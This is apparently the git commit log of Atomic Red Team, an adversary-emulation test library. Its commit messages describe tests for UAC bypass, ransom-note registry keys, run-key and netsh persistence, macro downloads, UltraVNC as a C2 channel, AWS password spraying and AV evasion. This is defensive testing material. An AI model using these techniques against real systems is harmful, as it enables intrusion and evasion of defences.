taskkill /im notepad.exe /t /f > NUL 2>&1
 
The /t option makes sure any child processes are closed as well, and the /f option forcefully terminates the process.
The > NUL redirects the stdout to the NUL device (the equivalent of /dev/null) and the 2 >&1 also redirects the stderr to stdout so that nothing is output to the console
2022-10-26 09:13:05 -06:00
Atomic Red Team doc generator aa218974e7 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-25 00:18:35 +00:00
Atomic Red Team GUID generator d29652b752 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-25 00:18:27 +00:00
Bhavin Patel ba34e45163 Merge pull request #2197 from redcanaryco/aws_password_spray
AWS - Password Spray an AWS using GoAWSConsoleSpray
2022-10-24 17:17:49 -07:00
Bhavin Patel 8b43cf51f7 Merge branch 'master' into aws_password_spray 2022-10-24 17:16:55 -07:00
Hare Sudhan f2ceee6e92 Merge branch 'master' into tf 2022-10-24 12:28:07 -04:00
Atomic Red Team doc generator e4844d7576 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-24 16:27:34 +00:00
Atomic Red Team GUID generator 890607b6fe Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-24 16:27:28 +00:00
Thomas de Brelaz f710d57e40 T1547.004 new hklm tests (#2196)
* Created 3 copies of the original HKCU tests but on HKLM

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

* Removed Notify tests, no longer supported in win10 and the tests were broken due to missing dll prerequisite

* re-added notify test

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

Co-authored-by: Thomas De Brelaz <thomas.de-brelaz@ubisoft.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-24 10:27:01 -06:00
Atomic Red Team doc generator 4787dc43e9 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-24 16:19:18 +00:00
Atomic Red Team GUID generator b1048a588d Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-24 16:19:11 +00:00
tccontre 638ba68ee6 Tccontre patch 1 (#2200)
* Update T1124.yaml

* Update T1033.yaml

* Update T1033.yaml

* Update T1033.yaml

* Update T1033.yaml

* Update T1033.yaml

* Update T1016.yaml

* Update T1016.yaml

* update test name

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-24 10:18:40 -06:00
Hare Sudhan 9b4c575d76 terraform variable changes 2022-10-24 12:15:48 -04:00
Hare Sudhan 464fee8ba4 Merge branch 'master' into tf 2022-10-23 17:09:50 -04:00
Atomic Red Team doc generator b9aebd1c0e Generated docs from job=generate-docs branch=master [ci skip] 2022-10-21 02:18:13 +00:00
BlueTeamOps f3a038ca78 Remove trailing \ from web_shells default path (#2199)
xcopy doesn't work when there is a trailing \ in a path. 
default: PathToAtomicsFolder\T1505.003\src\ caused the "Invalid path" error
Removing the trailing \ fixes the issue
2022-10-20 20:17:29 -06:00
Atomic Red Team doc generator 3927202872 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-20 21:47:35 +00:00
Atomic Red Team GUID generator 80be4123cd Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-20 21:47:29 +00:00
Michael Haag 0d4622f4e8 Update T1564.yaml (#2198) 2022-10-20 15:46:58 -06:00
patel-bhavin dfd1f668af adding atomic 2022-10-19 16:16:08 -07:00
Jose Enrique Hernandez 7ff57f38b5 Merge branch 'master' into patch-2 2022-10-19 16:09:28 -04:00
Atomic Red Team doc generator 27f8de3193 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-19 16:13:48 +00:00
Carrie Roberts f10bb08817 fix dir creation (#2194)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-10-19 10:13:16 -06:00
jmac774 069461eec1 Fix T1546.004 for remote execution on Linux
When using PowerShell remoting to Linux system where PowerShell <7.3 is installed, there is this quirk that right after connection is established, there must be nothing printed to stdout (no banner, nothing echoed in .bashrc). That's likely the reason for `-nologo` in sshd configuration [1] from my testing. Execution of the this test before this commit breaks SSH and even running cleanup command after initial test execution fails.
To prevent this test breaking SSH during described usage, default command was changed to print to file and not stdout.

Also replaced sed command in cleanup as it breaks when `command_to_add` is more complex command containing sed-specific special characters (e.g. `>`).

[1] https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/ssh-remoting-in-powershell-core?view=powershell-7.2
2022-10-19 14:42:18 +02:00
Atomic Red Team doc generator 99f4231d0b Generated docs from job=generate-docs branch=master [ci skip] 2022-10-19 01:43:05 +00:00
Jose Enrique Hernandez dd82e78da7 Merge pull request #2099 from chronolator/T1201_Improved
T1201_Improved
2022-10-18 21:42:37 -04:00
Jose Enrique Hernandez 9c3f3e6b9e Merge branch 'master' into T1201_Improved 2022-10-18 21:41:30 -04:00
Atomic Red Team doc generator 69028837c2 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-19 01:28:38 +00:00
b0bbey 7b1e347a4d Update T1014.md because of typo at Test number 3 (yaml corrected) (#2189)
ld.so.preload instead of ls.so.preload

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-18 19:28:00 -06:00
Atomic Red Team doc generator 2be544c1d5 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-19 01:26:46 +00:00
harshalcoep a865221e1a Minor edits to test number 2 (#2190)
Separated reference URLs in description section with commas ','

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-18 19:26:16 -06:00
Atomic Red Team doc generator ff1a5cf07b Generated docs from job=generate-docs branch=master [ci skip] 2022-10-19 01:25:12 +00:00
tlor89 0f6a242985 T1106_update (#2192)
* T1106_update

* typo fix

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-18 19:24:39 -06:00
Atomic Red Team doc generator 3802eaffdf Generated docs from job=generate-docs branch=master [ci skip] 2022-10-19 01:22:59 +00:00
tlor89 e3cb7dbc2b T1105_update (#2191)
* T1105_update

* Update the syntax issue

* typo fix

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-18 19:22:14 -06:00
Atomic Red Team doc generator 825c959f98 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-18 16:52:04 +00:00
jmac774 da55a259c9 Fix T1098.004 (#2193)
Fix for systems with multiple authorized keys. Without quotes, the echo command separates new lines with space instead of new line character which breaks authorized_keys file in case there are multiple keys in the file.
2022-10-18 10:51:15 -06:00
Jose Enrique Hernandez 5335976629 Merge branch 'master' into tf 2022-10-17 14:20:30 -04:00
Atomic Red Team doc generator 4abb614556 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-17 16:47:12 +00:00
Atomic Red Team GUID generator 0d7ea66552 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-17 16:47:06 +00:00
Paul Michaud b9e306b765 Merge pull request #2188 from harshalcoep/master
Added a new atomic test
2022-10-17 16:46:40 +00:00
harshalcoep 3b3642544f Merge branch 'master' into master 2022-10-17 21:39:30 +05:30
Atomic Red Team doc generator dd2090cd6d Generated docs from job=generate-docs branch=master [ci skip] 2022-10-17 15:11:59 +00:00
tlor89 8e594d58d5 Update T1090.003.yaml (#2187)
* Update T1090.003.yaml

Add prereq for test 1 on batch file requirements

* Update T1090.003.yaml

fixed the spacing

* Update T1090.003.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-17 09:11:19 -06:00
harshalcoep 17b0ff7915 Added a new atomic test
We have added a new atomic test with guid ffcbfaab-c9ff-470b-928c-f086b326089b that sets two registry keys HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption and HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeText to display a ransom message. While executing this atomic test, the value for these registries can be configured using the switch -PromptForInputArgs. This technique has been used by many ransomwares in the past including SynAck, Grief, Maze, Pysa, Spook, DopplePaymer, Reedemer and Kangaroo.  After encrypting files, ransomwares modify the Windows LegalNoticeCaption and LegalNoticeText registry keys to display a ransom message to victim at logon.
2022-10-17 20:28:17 +05:30
Hare Sudhan 5361fc6e6b fixing validation error 2022-10-14 10:35:29 -04:00
Hare Sudhan d4de9ad03a minor changes to terraform generation 2022-10-14 10:31:43 -04:00
Jose Enrique Hernandez e774b3cdc9 Merge branch 'master' into T1201_Improved 2022-10-14 10:31:12 -04:00
Hare Sudhan 8d9e66adf9 Update readme 2022-10-13 23:50:01 -04:00
Hare Sudhan 6841c430cb poc added 2022-10-13 23:42:40 -04:00
Atomic Red Team doc generator 84cd4177fe Generated docs from job=generate-docs branch=master [ci skip] 2022-10-13 17:48:19 +00:00
harshalcoep a7bf035f55 Modify description of "Disable UAC admin consent prompt" (#2184)
Changing the description of atomic test 251c5936-569f-42f4-9ac2-87a173b9e9b8 from "modifying the registry key" to "setting the registry key".  In this context, the word "setting" sounds more appropriate than "modifying".
2022-10-13 11:47:48 -06:00
Atomic Red Team doc generator 112ee4dd2e Generated docs from job=generate-docs branch=master [ci skip] 2022-10-13 14:20:53 +00:00
Atomic Red Team GUID generator 540ae0d64c Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-13 14:20:47 +00:00
harshalcoep c566f8d83f New Atomic-Test (#2183)
* New Atomic-Test

Proposing a new atomic test "Disable UAC admin consent prompt". The existing atomic test with guid 9e8af564-53ec-407e-aaa8-3cb20c3af7f9) disables UAC by setting "EnableLUA" registry value to 0. UAC can also be disabled by setting "ConsentPromptBehaviorAdmin" registry value to 0 (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpsb/341747f5-6b5d-4d30-85fc-fa1cc04038d4). This registry value has been altered by several malwares in the past (https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/, https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit, https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat). Hence, proposing a new atomic test with guid 251c5936-569f-42f4-9ac2-87a173b9e9b8 that bypasses UAC by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0.

* add blog links

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-13 08:20:18 -06:00
Atomic Red Team doc generator eedbea628e Generated docs from job=generate-docs branch=master [ci skip] 2022-10-12 19:54:00 +00:00
Atomic Red Team GUID generator b08b38f654 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-12 19:53:52 +00:00
CDub1016 3bff37d737 T1204.002 Added Test to Emulate Mirror Blast TA505 (#2180)
* Update T1204.002.yaml

Added Mirror Blast technique.

* Update T1204.002.yaml

Added cleanup command to Mirror Blast Test.

* Add files via upload

Added Excel sheet with macro to download 7zip.

* Add files via upload

Information about macro in Mirror Blast.

* use PathToAtomicsFolder

* add link to blog

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-12 13:53:10 -06:00
Atomic Red Team doc generator cc0f4485ca Generated docs from job=generate-docs branch=master [ci skip] 2022-10-12 19:10:02 +00:00
Mohana Shankar D 051753b04f Mshta Executes Remote HTML Application (HTA) - Process Termination (#2179)
Using sleep command to run the application for 15 seconds with start process. The process has been terminated using stop process command.
2022-10-12 13:09:24 -06:00
Chron c913df502e Fixed the exit status of the prereq_command.
The prereq_command was exiting using powershell syntax, not bash.  The /b was removed to fix the issue.
2022-10-12 11:29:13 -05:00
Chron a1098a59d9 Merge branch 'master' into T1201_Improved 2022-10-12 11:26:33 -05:00
Atomic Red Team doc generator 9adadb0b01 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-09 14:43:11 +00:00
Atomic Red Team GUID generator 56e61e2130 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-09 14:43:04 +00:00
Jose Enrique Hernandez d0ce538c94 Merge pull request #2081 from ketumbra/2080
fixes #2080: macos audio recording
2022-10-09 10:42:29 -04:00
Jose Enrique Hernandez 79e77966f9 Merge branch 'master' into T1201_Improved 2022-10-09 10:11:18 -04:00
ketumbra 14298afc74 Merge branch 'master' into 2080 2022-10-08 19:01:19 +01:00
Atomic Red Team doc generator 90212b5fa4 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-04 22:35:06 +00:00
tlor89 2c17fe046c T1082_update (#2178)
* T1082_update

* Update prereq description

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-04 16:34:35 -06:00
Atomic Red Team doc generator c3788b083e Generated docs from job=generate-docs branch=master [ci skip] 2022-10-04 22:33:31 +00:00
tlor89 cf8cae7466 T1055 (#2177)
* T1055

* Update input args description

Co-authored-by: Toua Lor <tlor@nti.local>
2022-10-04 16:33:02 -06:00
Atomic Red Team doc generator 297c6a48d1 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-03 22:41:21 +00:00
tlor89 19ace944f7 T1055.004_Update (#2175)
* T1055.004_Update

* Update T1055.004.yaml

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-03 16:40:55 -06:00
Atomic Red Team doc generator 4eb79b9d8a Generated docs from job=generate-docs branch=master [ci skip] 2022-10-03 22:37:35 +00:00
tlor89 8c02a45145 T1048.002 (#2173)
* T1048.002

* Update T1048.002.yaml

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-03 16:36:57 -06:00
Atomic Red Team doc generator 52d1f72af2 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-03 22:33:32 +00:00
frack113 f41e92b834 T1547.001 Fix test a70faea1-e206-4f6f-8d9a-67379be8f6f1 (#2171)
* Fix test a70faea1-e206-4f6f-8d9a-67379be8f6f1

* Restore b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-03 16:32:48 -06:00
Atomic Red Team doc generator 7e1529fbca Generated docs from job=generate-docs branch=master [ci skip] 2022-10-03 15:43:49 +00:00
Atomic Red Team GUID generator 5e91e948fc Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-03 15:43:42 +00:00
sourabhsharmasourabh d081d1dc33 New Atomic test 29 - iwr download (#2172)
* New Atomic test 29 - iwr download

iwr or Invoke Web-Request download. Use 'iwr' or "Invoke-WebRequest" -URI argument to download a file from the web. Note: without -URI also works in some versions.

* Update T1105.yaml

* Update T1105.yaml

at 793 added line for elevation required : true, as it was missed to include earlier

* Update T1105.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-03 09:43:01 -06:00
ketumbra 457687dc9b Merge branch 'master' into 2080 2022-09-30 22:21:40 +01:00
ketumbra 52d550c2b3 check outfile exists first and use stat for size check
Co-authored-by: packetzero <20775507+packetzero@users.noreply.github.com>
2022-09-30 22:20:59 +01:00
ketumbra 53e53525a8 use named var and simplify exit 2022-09-30 21:42:53 +01:00
ketumbra 9f908989d7 use named vars
Co-authored-by: packetzero <20775507+packetzero@users.noreply.github.com>
2022-09-30 21:15:22 +01:00
ketumbra 34ff8e44d0 use named vars
Co-authored-by: packetzero <20775507+packetzero@users.noreply.github.com>
2022-09-30 21:15:11 +01:00
Atomic Red Team doc generator 9e5b12c491 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-30 17:12:19 +00:00
Atomic Red Team GUID generator 0186f8aba8 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-30 17:12:13 +00:00
Narasimha2218 a0f872e11a UltraVNC Execution -New atomictest (#2169)
* UltraVNC Execution -New atomictest

 An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
 Upon successful execution, UltraVNC will be executed

* typo fix

* remove space

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-30 11:11:44 -06:00
Atomic Red Team doc generator 09b7ade645 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-29 17:15:18 +00:00
Atomic Red Team GUID generator 5d77f4da7e Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-29 17:15:10 +00:00
Carrie Roberts 68633fc0e2 Set Custom AddToHistoryHandler to Avoid History File Logging (#2168)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-29 11:14:32 -06:00
Atomic Red Team doc generator 1cf4dd51f8 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-27 23:39:17 +00:00
tlor89 0928ea6baa T1546.009 (#2167)
Co-authored-by: Toua Lor <tlor@nti.local>
2022-09-27 17:38:44 -06:00
Atomic Red Team doc generator 6586dc3be0 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-27 15:14:14 +00:00
frack113 29d88cdb48 T1072 Fix GetPrereqs (#2164)
* Small Fix

* Remove cleanup

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-27 09:13:36 -06:00
Jose Enrique Hernandez a1959b4c2b Merge branch 'master' into 2080 2022-09-27 10:13:44 -04:00
Atomic Red Team doc generator 9bdd7fceba Generated docs from job=generate-docs branch=master [ci skip] 2022-09-26 17:59:20 +00:00
frack113 5b7eb3fe8b Fix download dependencies (#2165)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-26 11:58:46 -06:00
Atomic Red Team doc generator b07c165d9e Generated docs from job=generate-docs branch=master [ci skip] 2022-09-26 17:51:03 +00:00
Atomic Red Team GUID generator ff75bdc167 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-26 17:50:55 +00:00
Thomas de Brelaz c0c31e4c0c T1547.001 runkeys (#2150)
* added tests 10-15 to T1547.001.yaml covering various missing keys used for run persistence

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

* fixed name for test 14

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

* added missing HKLM test for explorer run key

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

* readability improvements

* fixed readability issues

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

* small ymal type fix

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

Co-authored-by: Thomas De Brelaz <thomas.de-brelaz@ubisoft.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-26 11:50:21 -06:00
Atomic Red Team doc generator 09bc35dea1 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-26 17:40:43 +00:00
Carrie Roberts 869f7e880d mimi prereq fixes (#2163)
* mimi prereq fixes

* fix url to helper
2022-09-26 11:40:00 -06:00
Atomic Red Team doc generator d0dad62dbc Generated docs from job=generate-docs branch=master [ci skip] 2022-09-23 22:57:18 +00:00
Hare Sudhan 7b2d3a9db4 Update generate-atomic-docs.rb (#2162) 2022-09-23 16:56:48 -06:00
Atomic Red Team doc generator de803e9e53 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-23 18:16:10 +00:00
Carrie Roberts 24530e138f Netsh helper dll persistance (#2159)
* default to no reboot

* add dll and improve atomic

* Update T1546.002.yaml

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-23 12:15:27 -06:00
Atomic Red Team doc generator d6db2e9e07 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-23 18:14:09 +00:00
Carrie Roberts 62cda00d61 default to no reboot (#2156)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-23 12:13:28 -06:00
Atomic Red Team doc generator cb79101125 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-23 18:12:19 +00:00
Atomic Red Team GUID generator 680263d922 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-23 18:12:14 +00:00
Carrie Roberts 02ba14fd56 correct file extension (#2161) 2022-09-23 12:11:47 -06:00
Zeta e18e6da264 Fix Name and format (#2151)
* Fix Format

* Fix Format T1592.001

* keep guid

must keep the same guid for the test. display name comes from MITRE ATT&CK

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-23 11:43:51 -06:00
Atomic Red Team doc generator dac55eca04 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-23 17:30:46 +00:00
tlor89 f24823b04f T1053.005_update (#2155)
* T1053.005_update

* Update T1053.005.yaml

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-23 11:30:15 -06:00
ketumbra 6667dbd2c4 Merge branch 'master' into 2080 2022-09-23 09:35:05 +01:00
Atomic Red Team doc generator c03a9e0299 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-23 01:57:22 +00:00
tlor89 99a21b04d4 T1546.003 (#2158)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-22 19:56:45 -06:00
Atomic Red Team doc generator 5ea7cb3010 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-22 22:37:42 +00:00
tlor89 308634b0ec T1016 (#2157)
Co-authored-by: Toua Lor <tlor@nti.local>
2022-09-22 16:37:14 -06:00
ketumbra e87ccbae20 Merge branch 'master' into 2080 2022-09-22 22:05:57 +01:00
Chris Heald cb98e12fa0 fixes 2022-09-22 21:58:16 +01:00
Atomic Red Team doc generator a398ddbc17 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-22 18:07:52 +00:00
Bhavin Patel 5334c6745f Fix gcp atomic (#2154)
* minor fix

* executor

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-22 12:07:21 -06:00
Atomic Red Team doc generator 75d5fc2fb2 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-22 17:17:53 +00:00
Bhavin Patel c1e3d3b8e2 minor fix (#2153)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-22 11:17:22 -06:00
Atomic Red Team doc generator 0c7c77f190 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-22 17:16:23 +00:00
Bhavin Patel a69522b9f5 Merge pull request #2152 from clr2of8/msipayload
fix payload name
2022-09-22 12:15:39 -05:00
clr2of8 b62d1a97fa fix payload name 2022-09-22 10:29:54 -06:00
Atomic Red Team doc generator 94cf6de212 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-21 12:52:37 +00:00
Mohana Shankar D 00695c1631 Update T1072.yaml (#2148)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-21 06:52:04 -06:00
Atomic Red Team doc generator f4557573b1 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-21 12:22:41 +00:00
Carrie Roberts 3aeacf701a fix dll name (#2147)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-21 06:22:12 -06:00
Atomic Red Team doc generator 1e1bad7d76 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-21 12:19:41 +00:00
Carrie Roberts 404fa7fd3f Use IWR instead of bits transfer (#2146) 2022-09-21 06:18:58 -06:00
Atomic Red Team doc generator 035d447acd Generated docs from job=generate-docs branch=master [ci skip] 2022-09-21 01:45:59 +00:00
Atomic Red Team GUID generator f6e7203f16 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-21 01:45:52 +00:00
msdlearn bbb1d1d7ea New atomic Test-1072.001 (#2141)
* New atomic Test-1072.001

The Software deployment tool-PDQ Deploy used to deploy remote access tool in the device. Adding as T1072.001 for PDQ Deploy tool.

* Update T1072.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-20 19:45:21 -06:00
Atomic Red Team doc generator 5d1eb39ddb Generated docs from job=generate-docs branch=master [ci skip] 2022-09-21 01:33:57 +00:00
Swapnil 85f82b4a53 Move T1592.002 to T1012 (#2142)
Co-authored-by: Swapnil <swapnil@fourcore.vision>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-20 19:33:28 -06:00
Atomic Red Team doc generator 37366ea226 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-21 01:25:55 +00:00
tlor89 fcacf6f78b T1036.003_update (#2145)
* T1036.003_update

* Delete T1036.003_masquerading.ps1--url

* Delete T1036.003_masquerading.vbs--url

* Delete T1036.003_masquerading.ps1)

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-20 19:25:21 -06:00
Atomic Red Team doc generator aedae30640 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-20 21:53:56 +00:00
Atomic Red Team GUID generator bd48d02679 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-20 21:53:49 +00:00
Carrie Roberts 19e9e67f07 add ordinal version test to bypass av (#2144)
* add ordinal version test to bypass av

* Update T1218.011.yaml

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-20 15:53:16 -06:00
Atomic Red Team doc generator 4d76b9efba Generated docs from job=generate-docs branch=master [ci skip] 2022-09-15 23:55:49 +00:00
MrOrOneEquals1 62986a437a Update T1218.011.yaml (#2139)
Remove .\ from lines 118 and 144.
2022-09-15 17:55:23 -06:00
Atomic Red Team doc generator 5edecd0301 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-14 15:40:28 +00:00
tlor89 f61742ee62 T1218.001_update (#2137)
Co-authored-by: Toua Lor <tlor@nti.local>
2022-09-14 09:39:39 -06:00
Atomic Red Team doc generator 9d4e9a9ccd Generated docs from job=generate-docs branch=master [ci skip] 2022-09-12 17:55:09 +00:00
Carrie Roberts 77ef512930 restoring deleted file (#2135) 2022-09-12 11:54:28 -06:00
Atomic Red Team doc generator 5b67c9b141 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-09 20:27:29 +00:00
Atomic Red Team GUID generator 36c852a2d7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-09 20:27:22 +00:00
Michael Haag 5067af0634 Added new T1546.012 (#2134)
* Update T1546.008.yaml

- https://blog.thinkst.com/2022/09/sensitive-command-token-so-much-offense.html
- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit

* Update T1546.012.yaml

Added the same test but written in PowerShell.

* Delete T1546.008.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-09 14:26:40 -06:00
Atomic Red Team doc generator fac90415da Generated docs from job=generate-docs branch=master [ci skip] 2022-09-09 17:13:29 +00:00
Carrie Roberts 6ad14bbad9 correct linux indexes (#2132)
see issue #2130, thank you @Thog

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-09 11:12:47 -06:00
Atomic Red Team doc generator 4df65234e9 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-09 17:07:44 +00:00
Carrie Roberts 3d2018b41b add link to blog post for more info (#2129)
* add link to blog post for more info

* Update T1218.011.yaml

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-09 11:07:11 -06:00
Atomic Red Team doc generator 8c5f8b55c2 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-09 17:04:04 +00:00
tlor89 520e276684 T1218.007_Update (#2133)
Co-authored-by: Toua Lor <tlor@nti.local>
2022-09-09 11:03:25 -06:00
Atomic Red Team doc generator 6bd4bb4236 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 15:24:29 +00:00
tlor89 30388967b0 Update test 10 (#2126)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-07 09:23:55 -06:00
Atomic Red Team doc generator 738fa24fe9 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 12:02:27 +00:00
Carrie Roberts f4a49b46bb typo fix (#2125)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-07 06:01:41 -06:00
Carrie Roberts 716f12ec4d move sct into RC repo (#2124)
* put test.sct into rc repo

from https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct

* use payload from rc repo

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-07 05:57:28 -06:00
Atomic Red Team doc generator adda32decc Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 11:54:37 +00:00
Carrie Roberts cf3b4dccf9 fix typo in url (#2118)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-07 05:54:08 -06:00
Atomic Red Team doc generator 597a0cead4 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 11:48:29 +00:00
Carrie Roberts 7934ae4b9f update prereq (#2117)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-07 05:47:57 -06:00
Atomic Red Team doc generator ca93f4bfd9 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 11:44:55 +00:00
Carrie Roberts df43a95da6 better prereq (#2116)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-09-07 05:44:24 -06:00
Atomic Red Team doc generator c1a7cb7e10 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 02:52:19 +00:00
Carrie Roberts f45fd9f312 remove duplicate test (#2123) 2022-09-06 20:51:44 -06:00
Atomic Red Team doc generator af5ac1feb6 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 02:47:44 +00:00
Carrie Roberts b59aa3f724 use a wellknown url as default (#2122) 2022-09-06 20:47:14 -06:00
Atomic Red Team doc generator d1629ab283 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 02:41:41 +00:00
Carrie Roberts 88e14a91a1 leave prereqs (#2121) 2022-09-06 20:41:11 -06:00
Atomic Red Team doc generator a7384504cf Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 02:38:43 +00:00
Carrie Roberts ceaf4dee9c typo fix (#2119) 2022-09-06 20:38:12 -06:00
Atomic Red Team doc generator 6e0b2c9b33 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-07 02:36:33 +00:00
